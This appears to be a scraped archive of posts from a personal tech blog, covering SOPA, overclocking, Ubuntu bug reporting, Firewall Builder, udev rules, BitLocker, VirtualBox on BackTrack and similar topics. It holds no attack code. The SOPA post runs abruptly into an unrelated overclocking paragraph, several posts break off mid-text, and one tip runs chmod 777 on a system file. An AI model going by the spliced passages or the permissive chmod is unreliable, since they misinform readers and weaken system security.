SOPA in US and Censorship in India

2012-01-25T01:46:00.000-08:00

As US senators mull over the SOPA (Stopping Online Piracy Act) and PIPA (Protecting Intellectual Property Act) bills, the world stands witness to a historic moment. Almost all big IT companies like Google, Wikipedia, Facebook, Mozilla, Godaddy, etc are speaking in one unanimous voice against SOPA and Internet Censorship. The draconian provisions of SOPA/PIPA are bound to create the deathbed of internet freedom and free speech, and if a careful reading of the proposed legislation is done, one realizes that it is likely to have the same impact on India.

In the disguise of protecting copyrights and stopping piracy its completely clear that the US government is trying to assert its control over the free flow of information on internet which is some time uncomfortable to them. Giving power to Attorney General to direct search engines like Google to filter particular search results, or asking an ISP to manipulate their DNS to filter specific IP addresses just at whims and fancies of government all the threatening to accessing information.
To make the matters worse on the name of stopping piracy the websites will be held directly responsible for content uploaded by a one of its millions user. And if infringement is proved then apart from banning whole website its executives would be liable to mountainous fines and prison terms along with the user who uploaded content for upto 5 years. So imagine if a teenager ends up uploading a Michal Jackson video on YouTube he may get 5 year term in jail where as the doctor who killed Michal Jackson could get only 4 years. Or if you post a YouTube video link of Rockstar movie song on your Facebook wall, entire Facebook website can be blocked for copyright infringement.

Originally done by modifying the game overclocked processors, and start reaching the world’s memory. All products are high-end market entry. Cheap processors speed up as high as possible to safe limits. Memory using the highest performance. And finally a reliable cooling system to cool the processor performance.

The goal is only one, getting as high as possible processor capabilities
with a cheaper price.

Since Intel introduced Sandy Bridge, perhaps the word overclock gives a different meaning.

Sandy Bridge have direct on-chip clock generator or called PSB. When upgraded will affect other components like SATA, USB and more.

Intel offers another solution for enthusiast overclocking, called the series K. Features that are planted Turbo Boost, processors will overclock itself when needed. This eliminates the need to overclock because there is already inside the processor.

For some people still remain attractive using overclocked system. Only cost is not comparable to what they get. Sandy Bridge E processors and chipsets Patsburg have no limits. But what price should motherboard that they have, of course the price is not cheap. Even Intel prepares K series, where the processors are not locked to the overclock. Finally, overclock more expensive than 10 years ago.

Submit a Bug Report

2010-08-14T02:21:00.000-07:00

All software has bugs, and Ubuntu is no exception. Here's how you can help improve Ubuntu by submitting a bug report.
It's an unfortunate rule of computing: all software has bugs. The Ubuntu developers and folks at Canonical have done their best to minimize the amount of bugs and their impact in the latest release of Ubuntu, but they can't catch everything. However, one of the major advantages of open source software is that you have an opportunity to help improve the software by filing a bug. The process of filing a bug is surprisingly easy and, despite the name, can be a rather fun and interactive process.

Getting Ready to File the Bug

Before you actually go ahead and file a bug, you should run through a little checklist to better assist you in the process. The key thing to remember is that every piece of information you can embed in the bug report will help the people fixing your bug. These people may not have the same hardware as you, and there may be other difficulties in reproducing your bug, so every clue you can provide will help them in solving the mystery.
First, figure out what your problem is, in plain language. Ask yourself what's broken and what the proper behavior should be. Also, is there anything the software is doing that it shouldn't be doing? If you can capture logs or output from a terminal, save that informationyou can attach it to the bug. If you have knowledge on how to attach a debugger to your process, you may want to include output from that as well. Ensure you've got the package name of the piece of software you're having trouble with. Save all this information so you can have it handy when it's time to file the bug report.

Creating a Malone Account

Ubuntu's method of filing a bug report is via a web-enabled application called Malone is part of Launchpad (https://launchpad.net/malone/), and the unique thing about Malone compared to other bugtrackers is that Malone tracks not only Ubuntu bugs, but upstream bugs as well as bugs in other distros. This helps to enable another benefit of open source software: the fact that "given enough eyes, all bugs are shallow." In a nutshell, this means that if one distro pinpoints and fixes a bug, all other distros that use Malone can see the fix, and everyone benefits.
On your first visit to Malone, you'll need to create an account for yourself so you can post to the bug database. Simply click on the Log In/Register link in the upper-righthand corner and follow the instructions to register an account.

You can search the Malone bug database without creating an account, but posting new information to the database requires an account.

Searching for Your Bug

You've collected your data and created your account: now it's almost time to file your bug. There's just one thing left to do: search for your bug. Yes, that's right: you should always search the bug database for your bug (or one just like it) before you go ahead and create a new one. If you search for a bug with similar symptoms and criteria as your bug, there's a good chance you'll find a bug report already there. You can check and see if the behavior of the bug is the same, if the developers are stalled waiting for a piece of information, or if the bug's already been fixed and a patch is available.
Additionally, if you do see a bug report that resembles your bug, you can add your comments and information to that bug. That will help consolidate things and let the developers know that multiple people are experiencing that issue. Nothing is more frustrating for developers than duplicate bug reports (well, not entirely; poor bug reports are even worse!).

We've searched for a gnome-power-manager issue that we happened to run into. As it happened, there was a pre-existing bug already opened, and the developer was awaiting information. We were able to add our own comments to the bug and give the developer some of the information he was looking for. That's open source in action!

Filing Your Bug Report

If your bug isn't already in the bug database, then it's time to report it. Log in to Malone if you haven't already, and go to the "Report a bug about a package" page (https://launchpad.net/malone/bugs/+package). Select Ubuntu from the drop-down menu and enter the package name in the appropriate field. Next, enter the bug summary. You'll want to be as descriptive as you can in one sentence. Don't say, "gnome-power-manager is broken" or, worse, "battery icon doesn't work." Either of those two summary lines will ensure that your bug is rejected. A more appropriate summary line would say, "gnome-power-manager icon does not show AC power status."
Next, fill out the description of the problem. Be as objective and descriptive as you can, and include all the notes mentioned earlier. Take your time, and be sure to include every detail. We can't stress enough the importance of including not only what's wrong, but what the software is doing right. Include any debug information you may have gathered.
Once you've done that, you can submit your bug by clicking the Add button. There's a checkbox on the site to keep the contents of the bug confidential, so you'll want to check

The Windows SharePoint Services Virus Scan Engine API

2010-06-20T06:48:00.001-07:00

To support antivirus protection, Microsoft® Windows® SharePoint™ Services uses an API called SP VS API 1.0, the Microsoft Office SharePoint Virus Scan Engine (VSE) API, that is based on the Microsoft Exchange Server VS API 2.0. SP VS API 1.0 incorporates much of the original design but is optimized for speed in a Microsoft SQL Server™ environment. This is achieved by creating a lower-level API that integrates directly into the File/Save and File/Open paths of Windows SharePoint Services, and also by eliminating the mail dependencies of the VS API 2.0 on the Messaging Application Programming Interface (MAPI).
Because Windows SharePoint Services is a SQL document store, not a mail store, documents are scanned in real time when they are saved (uploaded) or opened (downloaded), and the user is given the result of that scan instantly. ....read more

Protect Your Network

2010-04-10T06:50:00.001-07:00

Protect your network with a firewall managed from your Ubuntu desktop.
Linux has an excellent kernel-based network packet-management system called iptables that can be configured either directly from the command line or through a variety of GUI administration interfaces. One of the most powerful firewall-management interfaces is called Firewall Builder, a system designed to separate policy from implementation and allow you to concentrate on what you want your firewall to do, rather than how you want it to do it.
The Firewall Builder interface presents hosts, routers, firewalls, networks, and protocols as objects, and allows you to drag and drop those objects to define your firewall policy. Firewall Builder then compiles your policy into the actual rules needed to enforce it, with multiple policy compilers available to suit different types of firewall. You can define your policy using Firewall Builder running on an Ubuntu desktop and then have it compiled for a firewall running iptables on Linux, ipfilter on BSD, or any of about half a dozen other firewall technologies. The policy can be defined exactly the same way, regardless of the technology deployed on the target firewall. And because Firewall Builder can support multiple firewalls simultaneously, you can use it as a central management console to configure a variety of firewalls and individual hosts throughout your network, all from a single, unified interface.
You can run Firewall Builder directly on your firewall if you choose, but as a general policy, it's a good idea to have your firewall running the absolute minimum system possible, so a better approach is to have a dedicated machine as your firewall and run Firewall Builder on a desktop or laptop management machine. Then whenever you want to update your firewall policy, you can run Firewall Builder on your management machine to generate new rules and push them out to the firewall.

Initial Firewall Setup

Start by setting up your firewall machine with a minimal Ubuntu installation: run the installer in server mode, so that it installs only basic packages, and preferably install at least one extra Ethernet card so that you can keep untrusted Internet traffic away from your internal network. A standard approach is to run three network interfaces on a firewall: one for your internal network (downstream), one to connect to the Internet (upstream), and one to a separate local network called the De-Militarized Zone (DMZ), where you can put servers that you want to expose to the Internet. Configure the network interfaces to suit the networks they are connecting to and make sure that your firewall can connect to each one of them individually by using ping to check whether you can see hosts on each network.
Your firewall machine is now sitting at the crossroads between the Internet, your internal network, and any servers that you want to run, but it doesn't yet know how to pass data from one to another so everything will be effectively isolated. To enable your firewall to pass packets from one network interface to another and perform packet filtering and network/port address translation, you will need to install iptables, and to allow the firewall to be managed remotely, you will need to install an SSH server:

$ sudo apt-get install iptables ssh

Initial Management-Machine Setup

Install Firewall Builder on your management machine along with RCS and the Firewall Builder documentation package:

$ sudo apt-get install fwbuilder rcs fwbuilder-doc

Now you're ready to perform the rest of the steps.

Create a firewall project

First, launch Firewall Builder:

$ fwbuilder

Select Create New Project File and specify a location to save it. Ideally, you should create a special directory to hold the project file because Firewall Builder will also generate other files in the same directory, and having them all in one place makes it easier to back up your firewall configuration.
You are then given the option of activating revision control for the project as well as setting it to be opened automatically when Firewall Builder starts up. Turn on both options.

The revision-control option tells Firewall Builder to store the configuration file in RCS, allowing you to see the entire history of the file, including all changes that have ever been made to it. This feature can be extremely handy if you manage to break your firewall and need to roll back to a known-good working configuration.
Firewall Builder will initially start with an empty configuration containing only a number of predefined services in two libraries. The libraries are called User and Standard, and you can switch between them using the drop-down menu near the upper left. The Standard library is a read-only library that ships with Firewall Builder and contains predefined services for almost every TCP and UDP service in common use, along with predefined network ranges and time ranges. The User library is where objects you define will be stored, including firewalls, custom TCP and UDP services, and custom network ranges.

Define a new firewall

Make sure the User library is selected, right-click on the Firewalls folder, and select New Firewall. The New Firewall dialog appears. Give your firewall a name, select the firewall software (typically "iptables" if you run Linux on your firewall), and select the firewall operating system (Linux 2.4/2.6). This is where you start to see the flexibility of Firewall Builder and its support for multiple firewall types.
You also have the option of using preconfigured template firewall objects, which is a good idea if you're just getting started with Firewall Builder. The templates make it very easy to get started with a typical firewall scenario, rather than starting from scratch with a totally blank configuration. After you've made your selection, click Next.
Click on each of the firewall template names to see a diagram and a brief explanation of how it works. For most small networks, "fw template 1" is a good choice, giving you a typical firewall with a dynamic external address, static internal addresses on the 192.168.1.0/24 network, unrestricted outbound access from the network, and access to the firewall itself only via SSH from inside the network. "fw template 2" is similar but also allows the firewall to operate as a DHCP and DNS server for the internal network.
Once you have selected a template, you will be returned to the main Firewall Builder policy-management screen, but you will now have a default policy defined for your new firewall. Firewall Builder displays policy rules in a list, with the rules applied in order, starting at the top and working down until a match is found
There are multiple rules lists that can be accessed using tabs across the top of the list. The primary list is Policy, which are the rules that control allowed and disallowed activity throughout the firewall. Then there is an individual rule list for each interface on the firewall, and finally a NAT list that allows you to configure Network Address Translation rules. You don't usually need to worry about the individual interfaces; most changes will be to Policy and NAT.

Add a host-specific policy

To understand how Policy and NAT are managed, try applying a specific scenario, such as providing external access to an internal web server.
Start by adding a Host object for the server. Go through the User object tree to User Objects Hosts, right-click on Hosts, and select New Host. Enter a name such as www.example.com for your host, select the checkbox labeled Use Preconfigured Template Host Objects, and then click Next.
Select the "PC with 1 interface" template and click Finish. An object will be added to your Hosts list with an interface predefined, so click through to User Objects Hosts eth0 , then double-click on it to edit the interface values. Change the IP address to match the actual internal address of your server, apply the changes, and close the dialog.
Assuming you have a range of public, static IP addresses assigned to the external interface of your network, right-click on "eth0" and select Add IP Address. Enter the public IP address and network mask, apply changes, and close.
Your server now has two IP addresses defined: the real address assigned to its interface and the public address that you want people to use to access it.
Now click the NAT tab at the top of the rules list. Add a new, blank NAT rule by either right-clicking on the number of an existing rule or selecting Rules Add Rule Below from the menu.
You can now build your NAT rule by dragging and dropping object icons into appropriate places. The columns are:

Original Src
The original source address of packets before translation

Original Dst
The original destination of packets before translation

Original Srv
The original service (port) the packets arrived on

Translated Src
The new source address to report that packets came from

Translated Dst
The new destination address to apply to packets

Translated Srv
The new port to direct packets to

The first rule to set up is the translation to apply to packets directed toward the server from outside the firewall. Click the icon representing the external IP address of the server and drag it into the Original Dst box, and then click the internal IP address icon and drag it into the Translated Dst box.
Now add another blank rule and set it to translate packets directed from the server to the outside world. Click the internal IP address icon and drag it into the Original Src box, and the external IP address icon and drag it into the Translated Src box.
You now have rules that will cause packets traveling to and from the server to be modified as they pass through the firewall, with external machines seeing only the external IP address.

In these examples, only the IP addresses were translated. However, you can also apply translations to services. For example, you may have a reverse-proxy cache running as a web-server accelerator internally on port 8080, and you want external users to be able to access it using the standard HTTP port, port 80. By dragging and dropping services into the Original Srv and Translated Srv boxes from the Standard library (and creating services in the User library as necessary), you can apply port translation in the same way as address translation. Firewall Builder gives you the flexibility to convert the source and destination addresses and port of packets at will, so adjust the NAT rules until they represent the transformations you want to apply to network traffic.
However, NAT rules alone are not enough. Without a matching policy rule, no packets will be allowed through the firewall, even if they match NAT rules. While the NAT rules define what can happen, policy rules define what is allowed to happen. Policy rules have the final say.
Click the Policy tab and go down through the list of existing rules to find an appropriate place to add rules for your host, most likely right near the end, before the general network rule and the fall-through Deny All rule. Right-click in the rule-number column and add a rule. Drag the external IP address icon of your web server into the Destination box, and then right-click the Deny icon in the Action column and change it to Allow.
If you want to allow full access to every port on your web server from outside your network, that's all you need to do. However, it's safest to make the rule more specific and allow only certain services through, so click the User/Standard drop-down near the top left and switch to the Standard library. Browse down through the library to Standard Services TCP "http" and drag its icon into the Service box of your new rule. If you want to allow SSL connections, you can also drag the "https" icon into the same box. You now have a rule that explicitly allows connections from any host to your web server but only on ports 80 and 443

Compile and Install the Policy

Once you are happy with the policy you have created, you need to apply it to the firewall. Firewall Builder does this in two steps. First, the policy is compiled into a script to suit the software on your firewall; then, it's pushed out to the firewall and loaded.
Select Rules Compile or click the gear icon to have Firewall Builder compile your rules. You will see a dialog reporting progress, and when it finishes, you will have a new script placed in Firewall Builder's working directory alongside the project file. You can now copy the script to the target firewall by SSH and execute it to have the rules applied. To keep everything neat, it's a good idea to create a directory on the firewall to store the script:

$ sudo mkdir /etc/firewall

Then copy your script into that directory and execute it manually to test it. Even though it will have a .fw extension, the file is actually just a shell script that you can run in the normal way:

$ sudo /etc/firewall/

firewallname.fw

Firewall Builder provides a large number of configuration options to control the way the script is generated for each firewall, so if the script didn't work properly on your firewall, you may need to right-click the firewall icon in the object tree, select Edit, and then click the Firewall Settings button. The tabs at the top give you access to a lot of options, so go through them carefully and change any settings that may apply to your particular firewall; then compile the rules and test them again.

Automatic Policy Startup

The firewall script needs to be run each time your firewall boots up, so use your favorite editor to open /etc/rc.local and add the path to the script just before the exit 0 line. The end of /etc/rc.local should look something like this:

/etc/firewall/firewallname.fw
exit 0

The rc.local file is executed after all the other startup scripts whenever Ubuntu switches to a new multiuser runlevel. Referencing your script in there ensures it will be executed after other services such as networking have started up, and that it won't be started if you boot up in single-user mode. This is handy if you need to fix configuration problems by booting into single-user mode.

Automatic Policy Installation

Once you are happy that the rules are being generated correctly for your firewall, you can save yourself some effort on subsequent updates by configuring Firewall Builder to manage installing and activating the script on your behalf. Select the firewall icon (located in User Firewalls), right-click, select Edit, and the Firewall dialog will appear. Click Firewall Settings to re-enter the firewall options dialog. Click the Installer tab to be presented with options to execute a script to install and activate the firewall rules. The lower section of the dialog provides two text-entry fields that you can use to invoke any external script or command you like; so, for example, you can write a script that copies the script to the firewall by SCP and then executes it using SSH. Firewall Builder even comes with a sample script to do exactly what you will find installed in /usr/bin/fwb_install. Full information on how to use fwb_install is available in its manpage:

$ man fwb_install

Firewall Builder also has an internal policy-installation mechanism, which is perfectly adequate for most environments.
To set up automatic policy installation, first create a group such as fwadmin on the firewall, and then create a user and make it a member of the group:

$ sudo addgroup fwadmin
$ sudo adduser fwadmin -G fwadmin

Set up a directory on the firewall to store the firewall configuration:

$ sudo mkdir -m 0770 /etc/firewall
$ sudo chown fwadmin:fwadmin /etc/firewall

Configure sudo to allow this user to execute the firewall script without entering a password by running:

$ sudo visudo

and adding a line similar to the following to the end of the /etc/sudoers file:

%fwadmin = NOPASSWD:/etc/firewall/firewallname.fw

The firewallname.fw string should be replaced by the actual name of the script generated by Firewall Builder for this firewall.

You can optionally set up public-key encryption for access to the fwadmin account on the firewall.
In the Installer tab of the Firewall Settings dialog, put in the path to the directory you created on the firewall and the username you created.

You may not need to specify an alternate name or address for the firewall: Firewall Builder will try to automatically determine the IP address to use to communicate with the firewall, but it will use an address if you put one in.
Save and close the Firewall Settings dialog, and you should now be able to install and activate your policy simply by clicking the Install icon or by selecting Rules Install from the menu. From now on, any updates you make can be applied simply by clicking Compile and then Install.

Extensive documentation and tutorials are available on the official Firewall Builder site at http://www.fwbuilder.org if you want to learn more.

What is AJAX ?

2010-04-10T06:49:00.000-07:00

Before you continue you should have a basic understanding of the following:
• HTML / XHTML
• CSS
• JavaScript / DOM

What is AJAX ?

AJAX = Asynchronous JavaScript and XML.

AJAX is a technique for creating fast and dynamic web pages.

AJAX allows web pages to be updated asynchronously by exchanging small amounts of data with the server behind the scenes. This means that it is possible to update parts of a web page, without reloading the whole page.
Classic web pages, (which do not use AJAX) must reload the entire page if the content should change.
Examples of applications using AJAX: Google Maps, Gmail, Youtube, and Facebook tabs.

AJAX is Based on Internet Standards

AJAX is based on internet standards, and uses a combination of:
• XMLHttpRequest object (to exchange data asynchronously with a server)
• JavaScript/DOM (to display/interact with the information)
• CSS (to style the data)
• XML (often used as the format for transferring data)

AJAX applications are browser- and platform-independent!

Roam Wirelessly

2010-03-25T18:16:00.000-07:00

Moving from one wireless network to another has traditionally been a pain under Linux. Here's how you can simplify this aspect of mobile computing using your wireless adapter and NetworkManager.

One of the coolest things about having a laptop that's Wi-Fi-enabled is being able to go from place to place and freely associate with any hotspots that may be around. If you do this often, it really changes the way you work, as places like your local coffee shop have the potential to become your office. If you use a Windows or Mac OS-equipped laptop, bouncing from place to place isn't much of a challenge: you simply open up your computer, it tells you what access points are around, you click on one to associate with that network, and you're off and running. Under Linux, however, that's been problematic, as there haven't been any tools that make Wi-Fi easy...until now.

bill@defiant:~$ iwconfig

Bitlocker Windows 7 Features

2010-03-14T06:31:00.000-07:00

How can you help protect your data from loss, theft, or hackers? The answer: BitLocker. If you've got information on your PC that you need to protect, you can help prevent theft or loss by using BitLocker data encryption to put a virtual lock on your files.
Improved for Windows 7 and available in the Ultimate edition, BitLocker helps keep everything from documents to passwords safer by encrypting the entire drive that Windows and your data reside on. Once BitLocker is turned on, any file you save on that drive is encrypted automatically.

Bitlocker provides you protection options or flexible protection. You can choose to use a password, use the smartcard (need hardware) and the automatic unlocking process that allows you to work with an encrypted drive. Furthermore, Bitlocker will ask you to store the Recovery Key can be used to get your drive back if you forget the password that is used. You can save this file into the USB Flashdisk or other places within your computer.

Mount your USB drive

2010-02-26T11:44:00.000-08:00

Mount Removable Devices with Persistent Names

Mount your USB drive so it appears as /media/music every time. Mount your FireWire drive so it appears as /media/data every time.
My storage setup on my Ubuntu box at home is a bit unusual. I have an external drive dedicated to music and another external drive that backs up the music drive. I also have an external drive to hold all my personal documents, pictures, and movies, with another external drive to back up that drive. Those four drives are all connected to my desktop via FireWire. Finally, I have an external drive that's a temp drive: when I download a new movie or set of pictures, or rip a new CD, I keep those files on the temp drive until I can properly place them on the music or personal data drive. Unlike the other four, the temp drive uses USB.

Five drives sounds cool, but there's a major annoyance associated with them. When I reboot Ubuntu (a rare occasion, to be sure, but it does happen), their mount points shift around. Sometimes FireWire drive number one gets /media/sdb1, and sometimes /media/sdc1. The same thing happens to the other drives as well, which wreaks havoc with my backup scripts and my attempts to SSH in from other machines, to name just two problems I've experienced. I want persistent naming of those drives, so that FireWire number one is always /media/, FireWire number two is always /media/, and so on.

After much searching, I found the answer on the Ubuntu forums, at http://ubuntuforums.org/showthread.php?t=91948, and in an excellent overview by Daniel Drake titled "Writing udev rules" (http://www.reactivated.net/writing_udev_rules.html). Basically, Ubuntu includes a technology called udev, which manages dynamic devices. I can tell udev how I want it to label each separate drive when I plug it in, a far more efficient and usable method than the default. Here's how to do so.
You're going to be editing a file found at /etc/udev/rules.d/10-local.rules. Check to see if that file already exists on your hard drive:
$ ls /etc/udev/rules.d/10-local.rules

If it's already there, then you're going to edit it; if it's not there currently, go ahead and create a blank file with the proper name and permissions:
$ sudo touch /etc/udev/rules.d/10-local.rules
$ sudo chmod 777 /etc/udev/rules.d/10-local.rules

At the end of the process described in this hack, the devices will be listed in the 10-local.rules file. The USB drive, for instance, will look like this:
BUS=="usb", SYSFS{serial}=="6R0000065086", NAME{all_partitions}=="temp"

The first partBUS=="usb"is obvious; that's how that drive connects to the machine. The third partNAME{all_partitions}=="temp"makes sense too, since "temp" is the name I want the drive to use in the future as its mount point, instead of /media/sdb1 or whatever else Ubuntu decides to use. But what about that second part? Where is "6R0000065086" coming from?
In order for udev to work, it has to know which specific drive I want to label "temp". When I plug in a drive (or any dynamic device), the drive identifies itself in a whole host of ways. I need to pick a unique data point that I can pass to udev to use for identification. To see what udev sees when you plug in a drive, I run the following command (notice that the path given is the current path that Ubuntu has assigned to the drivein this case, /dev/sda):
$ udevinfo -a -p $(udevinfo -q path -n /dev/sda)

Once I press Enter, an enormous amount of data streams by, looking something like this (this listing has been greatly truncated for length):
device '/sys/block/sda' has major:minor 8:0
looking at class device '/sys/block/sda':
SUBSYSTEM=="block"
SYSFS{dev}=="8:0"

...

See the line in bold that says SYSFS{serial}=="6R0000065086"? That's the unique serial number for this device, so that's exactly what I'll use in the line I'm adding to 10-local.rules. Notice also that the line BUS=="usb" is also present, in case I don't know how /dev/sda is connected to my box (hey, with five drives, it could happen!). Once again, then, the new line in /etc/udev/rules.d/10-local.rules is:
BUS=="usb", SYSFS{serial}=="6R0000065086", NAME{all_partitions}=="temp"

I need to repeat the process for any other drives as well. Although the next four drives are all connected with FireWire, the process is the same; it's just the listings that are different:
$ udevinfo -a -p $(udevinfo -q path -n /dev/sdb)

SYSFS{vendor_id}=="0x0030e0"
SYSFS{vendor_name_kv}=="Oxford Semiconductor Ltd. "

...

In this instance, udevinfo tells me how this drive is connected to my Ubuntu desktop: BUS=="ieee1394" (remember that IEEE1394 is the official name for FireWire). FireWire drives don't include SYSFS{serial} like USB drives do; instead, their unique identifiers are SYSFS{guid}. This particular drive holds my personal files, so I want it to show up as /media/data. Put all that together, and I add this line to /etc/udev/rules.d/10-local.rules:
BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020e229", NAME{all_

partitions}=="data"

After performing the same task three more times, /etc/udev/rules.d/10-local.rules looks like this:
BUS=="usb", SYSFS{serial}=="6R0000065086", NAME{all_partitions}=="temp"
BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020e229",
NAME{all_partitions}=="data"
BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020dca0",
NAME{all_partitions}=="data_copy"
BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020912c",
NAME{all_partitions}=="music"
BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020c727",
NAME{all_partitions}=="music_copy"

Now I need to test my changes to make sure they'll actually work. First, I need to restart udev, the subsystem that is managing all this craziness:
$ sudo /etc/init.d/udev restart

Now I'll test the rules for the USB external drive to make sure everything will work. To test, I use udevtest. The syntax of the command is:
$ sudo udevtest

sysfs_device_path

subsystem

How do I know what the sysfs_device_path and subsystem are? Look back when I ran udevinfo -a -p $(udevinfo -q path -n /dev/sda) and notice the first things reported back to me:
looking at class device '/sys/block/sda':
SUBSYSTEM=="block"

My udevtest command therefore looks like this:
$ sudo udevtest /sys/block/sda block

The results appear immediately below it (some error messages about other items in udev that aren't important here have been removed):
udevtest.c: looking at device '/block/sda' from subsystem 'block'
...
udevtest.c: opened class_dev->name='sda'
udev_rules.c: configured rule in '/etc/udev/rules.d/10-local.rules:1' applied, 'sda' becomes 'temp'
udev_add.c: creating device node '/dev/temp', major = '8', minor = '0', mode = '0640', uid = '0', gid = '46'
udev_add.c: creating device partition nodes '/dev/temp[1-15]'

Excellent! Now I know that udev would in fact create a device name /dev/tempand therefore a mount point at /media/tempinstead of /dev/sda and /media/sda, and will always use that in the future. By the way, don't worryeven though the output says it was creating nodes, it really wasn't. It was just showing me what it would do when it runs for real.
So I know the USB drive works, but what about one of the FireWire drives?
$ sudo udevtest /sys/block/sdd block

Here are the results for that drive (again, some unnecessary data has been removed):
udevtest.c: looking at device '/block/sdd' from subsystem 'block'
...
udevtest.c: opened class_dev->name='sdd'
udev_rules.c: configured rule in '/etc/udev/rules.d/10-local.rules:5' applied, 'sdd' becomes 'music_copy'
udev_add.c: creating device node '/dev/music_copy', major = '8', minor = '48', mode = '0640', uid = '0', gid = '46'
udev_add.c: creating device partition nodes '/dev/music_copy[1-15]'

Exactly what I wanted, so it looks like everything will work as intended. Now I restart the machine, and lo and behold, my drives appear, just as I wanted them:

/media/temp
/media/data
/media/data_copy
/media/music
/media/music_copy

Of course, there's nothing stopping you from setting up udev so that your digital camera always shows up as /media/camera. Or so your iRiver music jukebox consistently mounts as /media/iriver. And so on. Basically, if your system sees it as a dynamic device, you can use udev to map it to a specific mount point.

Cascading Style Sheets

2010-02-07T19:34:00.000-08:00

Cascading Style Sheets (CSS) is a collection of formatting rules that control the appearance of content in a web page. Using CSS styles to format a page separates content from presentation. The content of your page—the HTML code—resides in the HTML file, and the CSS rules defining the presentation of the code reside in another file (an external style sheet) or in another part of the HTML document (usually the head section). Separating content from presentation makes it much easier to maintain the appearance of your site from a central location because you don’t need to update every property on every page whenever you want to make a change. Separating content from presentation also results in simpler and cleaner HTML code, which provides shorter browser loading times, and simplifies navigation for people with accessibility issues (for example, those using screen readers).
CSS gives you great flexibility and control over the exact appearance of your page. With CSS you can control many text properties including specific fonts and font sizes; bold, italics, underlining, and text shadows; text color and background color; link color and link underlining; and much more. By using CSS to control your fonts, you can also ensure a more consistent treatment of your page layout and appearance in multiple browsers.
In addition to text formatting, you can use CSS to control the format and positioning of block-level elements in a web page. A block-level element is a standalone piece of content, usually separated by a new line in the HTML, and visually formatted as a block. For example, h1 tags, p tags, and div tags all produce block-level elements on a web page. You can set margins and borders for block-level elements, position them in a specific location, add background color to them, float text around them, and so on. Manipulating block-level elements is in essence the way you lay out pages with CSS.

How to : Installing Virtualbox Backtrack 4

2010-01-24T23:25:00.000-08:00

Just some quick installation notes for those looking wanting to install the recent Virtualbox release (3.0.4) for Backtrack 4. In case you don't know yet - BT4 is the most top rated linux live distribution focused on penetration testing. The new Debian core (Ubuntu 8.10) makes Backtrack 4 easily extendable.

I'm a huge fan of Backtrack and use it as primary Operating System (HD Installation) on one of my laptops, currently studying for the Offensive Security course "Penetration Testing with BackTrack".

If you are looking for some pointers to get BT4 persistent changes without HD installation, @kriggins "Backtrack 4 USB persistent changes Nessus HowTo" is highly recommended.

Installation

Add the following line to your /etc/apt/sources.list:

deb http://download.virtualbox.org/virtualbox/debian intrepid non-free
Add the following key to your keyring (verify!):

# wget -q http://download.virtualbox.org/virtualbox/debian/sun_vbox.asc -O- | sudo apt-key add -
Update your package cache

# apt-get update
Install Virtualbox packages

# apt-get install virtualbox-3.0
answer the prompt "Should the vboxdrv kernel module be compiled now?" with "Yes"

If it fails, have a look at /var/log/vbox-install.log and re-run /etc/init.d/vboxdrv setup after fixing the problem (usually missing header files, compiler, etc.)

start via "/usr/bin/VirtualBox" (case-sensitive!)
Virtualbox is now ready, have fun!

Note:
Thanks to dkms, the VirtualBox host kernel modules (vboxdrv,
vboxnetflt and vboxnetadp) will be updated automatically if the linux kernel
version changes during the next apt-get upgrade.

Hibernate Your Notebook

2010-01-24T23:17:00.000-08:00

Sleeping is a good way to pause, but it still uses power. Hibernate mode lets you save the contents of memory to disk so you can resume later on.

You learned how Ubuntu supports ACPI sleep. However, because ACPI sleep does require a trickle of power to keep the CPU and RAM alive, it may not be desirable in all situations. Hibernate has been designed as the complement to ACPI sleep. It takes the contents of RAM and saves them to the system's swap partition. As a result, it requires absolutely zero power to maintain that hibernated state. There is a downside to hibernating a machine, however. Due to the fact that the system saves the contents of RAM before powering off, and then loads the contents of RAM after the kernel loads on reboot, it does take a fair amount of time to enter and exit the hibernated state. However, hibernating is still faster than powering off and restarting your machine, and there's the added benefit of saving application state.

Since hibernation saves the exact contents of RAM to your swap partition, the size of your swap partition must be larger than the amount of RAM you have in the machine. Ubuntu configures this automatically if you have done a default installation, but if you override the default partitioner during installation, you need to keep this point in mind.

Configuring Hibernation

Since hibernation and sleep are similar and use the underlying Linux ACPI subsystem, they both use gnome-power-manager to configure and control their settings. You can adjust the default type of sleep to be hibernation from within the preferences of gnome-power-manager, but keeping the default set to Suspend makes sense due to the time involved in entering and exiting a hibernated state. If you do decide to adjust this setting, you can right-click on the gnome-power-manager icon, select Preferences, and click on the Options tab

Using Hibernation

Now that you have your preferences set how you like them, it's time to test hibernation. Assuming you're using the stock Ubuntu preferences for gnome-power-manager, you'll need to engage hibernation by right-clicking on the gnome-power-manager applet and selecting Hibernate. Once you do, the system will immediately dim the screen, and you should hear a good deal of hard-disk activity. Once the disk stops churning, the system will power off. At this point, the system is in hibernate mode and can be left in this state indefinitely without using any battery power. To exit the hibernated state, simply power on the system normally. The bootloader will come up, and the kernel will boot normally, until it detects a RAM image on the swap partition. At that point, the system will load up the RAM image and should return to where you left it. Typical times to enter hibernation run between 30 seconds and 1 minute, and times to exit hibernation (including the BIOS test) run about the same. Between sleep and hibernation, you have all the great power management capabilities at your disposal.

If your system is configured to boot multiple operating systems, you need to be careful here. In theory, you should be able to hibernate your Ubuntu system and then boot into a different operating system. But this is fundamentally risky: if you change anything on the Ubuntu partition, you'll be in heaps of trouble. And if you're sharing a swap partition between Ubuntu and another Linux distribution, you'll be in a world of trouble if that other Linux distribution boots up, since it will erase your hibernated state (or may itself try to resume from that hibernated state). Play it safe: if you are hibernated, don't boot into anything except the system you hibernated from.

Ubuntu Clone an Installation

2010-01-03T06:55:00.000-08:00

Export a list of installed packages on one Ubuntu system, and import them into another to build a duplicate system.
We've installed many different Debian-based distributions over the years, and one thing we've found handy to have is a complete list of packages you have installed. If you want to create a system that is similar to a different system you have already set up, it can be difficult to remember each and every package you had installed. In this hack, we cover a method to export your current package list and import it into a new system.

This method works best when you are exporting to and importing from the same distribution and, specifically, the same releasefor example, exporting from Ubuntu Dapper to Ubuntu Dapper. Because of the differences in package versions and dependencies across releases, and especially across distributions, you will have substantially more headaches with conflicting packages if you try to export, say, from Ubuntu Breezy to Ubuntu Dapper or, worse, vice versa.

Export the List of Installed Packages

